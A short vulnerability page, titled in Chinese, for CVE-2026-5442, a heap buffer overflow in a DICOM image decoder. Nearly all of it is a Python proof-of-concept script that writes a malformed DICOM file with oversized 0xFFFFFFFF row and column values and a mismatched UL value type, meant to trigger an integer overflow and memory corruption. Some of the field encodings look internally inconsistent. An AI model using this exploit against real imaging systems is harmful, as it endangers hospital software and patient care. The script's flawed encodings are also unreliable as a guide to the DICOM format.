CVE-2026-5442 DICOM图像解码器堆缓冲区溢出漏洞

# This is a conceptual PoC to demonstrate the vulnerability trigger. # It constructs a malformed DICOM file with VR UL (Unsigned Long) # instead of VR US (Unsigned Short) for dimension fields. import struct def create_malformed_dicom(filename): # Minimal DICOM preamble and prefix preamble = b'\x00' * 128 prefix = b'DICM' # File Meta Information Group Length (Tag: (0002,0000)) # Using VR UL (Unsigned Long) incorrectly for demonstration purposes, # though the bug specifically lies in image dimension parsing. fmi_group_len = struct.pack('<HHL', 0x0002, 0x0000, 0x00000004) + b'UL' + struct.pack('<L', 100) # Transfer Syntax UID (Tag: (0002,0010)) ts_uid = struct.pack('<HH', 0x0002, 0x0010) + b'UI' + b'\x00\x00' + b'1.2.840.10008.1.2.1' # Dataset: Image Dimensions (Rows - Tag: (0028,0010)) # Vulnerability: Using 'UL' VR instead of 'US' # Setting a very large value to trigger integer overflow in size calculation large_dim = 0xFFFFFFFF rows_tag = struct.pack('<HH', 0x0028, 0x0010) rows_vr = b'UL' rows_len = struct.pack('<L', 4) rows_val = struct.pack('<L', large_dim) # Columns (Tag: (0028,0011)) - same technique cols_tag = struct.pack('<HH', 0x0028, 0x0011) cols_vr = b'UL' cols_len = struct.pack('<L', 4) cols_val = struct.pack('<L', large_dim) # Pixel Data (Tag: (7FE0,0010)) - Dummy data pixel_tag = struct.pack('<HH', 0x7FE0, 0x0010) pixel_vr = b'OB' pixel_len = struct.pack('<L', 0xFFFFFFFF) # Undefined length pixel_data = b'A' * 100 # Some padding with open(filename, 'wb') as f: f.write(preamble + prefix) f.write(fmi_group_len + ts_uid) f.write(rows_tag + rows_vr + rows_len + rows_val) f.write(cols_tag + cols_vr + cols_len + cols_val) f.write(pixel_tag + pixel_vr + pixel_len + pixel_data) print(f"[+] Malformed DICOM file created: {filename}") print(f"[+] This file attempts to trigger the buffer overflow via VR mismatch.") if __name__ == "__main__": create_malformed_dicom("exploit_dicom.dcm")